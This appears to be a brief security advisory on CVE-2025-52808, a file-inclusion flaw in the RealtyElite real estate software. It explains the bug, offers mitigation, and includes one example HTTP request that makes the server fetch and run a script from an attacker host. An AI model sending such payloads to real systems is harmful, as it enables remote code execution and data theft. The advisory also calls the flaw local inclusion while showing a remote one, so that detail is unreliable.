Overview
The cybersecurity world is facing a new challenge with the discovery of the CVE-2025-52808 vulnerability. This particular vulnerability poses a significant threat to RealtyElite, a widely used real estate software, from an unspecified version through to version 1.0.0. The vulnerability lies in the improper control of filename for include/require statement in PHP Program, allowing for PHP Local File Inclusion. The implications of exploitation are severe and could potentially lead to complete system compromise or data leakage, making this an issue of significant concern.

How the Exploit Works
The vulnerability lies in the PHP code where the program does not properly sanitize user input before using it in a file inclusion operation. This can be exploited by a remote attacker to manipulate the filename argument of the include() or require() function calls to point to arbitrary PHP files on the server or remote locations, allowing the attacker to execute arbitrary PHP code and gain control of the system.
Conceptual Example Code
The following is a conceptual example of how the vulnerability might be exploited. This is a pseudocode representation of a malicious HTTP request to the vulnerable endpoint:
POST /vulnerable_endpoint.php HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
include_file=http://attacker.com/malicious_script.phpIn this example, the attacker is instructing the server to include and execute the malicious PHP script hosted on their server. Once the server processes this request, the malicious script is executed, potentially compromising the system or leading to data leakage.
Mitigation
To mitigate this vulnerability, it is recommended to apply the vendor patch for RealtyElite as soon as it becomes available. In the meantime, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These tools can be configured to detect and block attempts to exploit this vulnerability, offering a protective barrier while a permanent fix is being prepared.
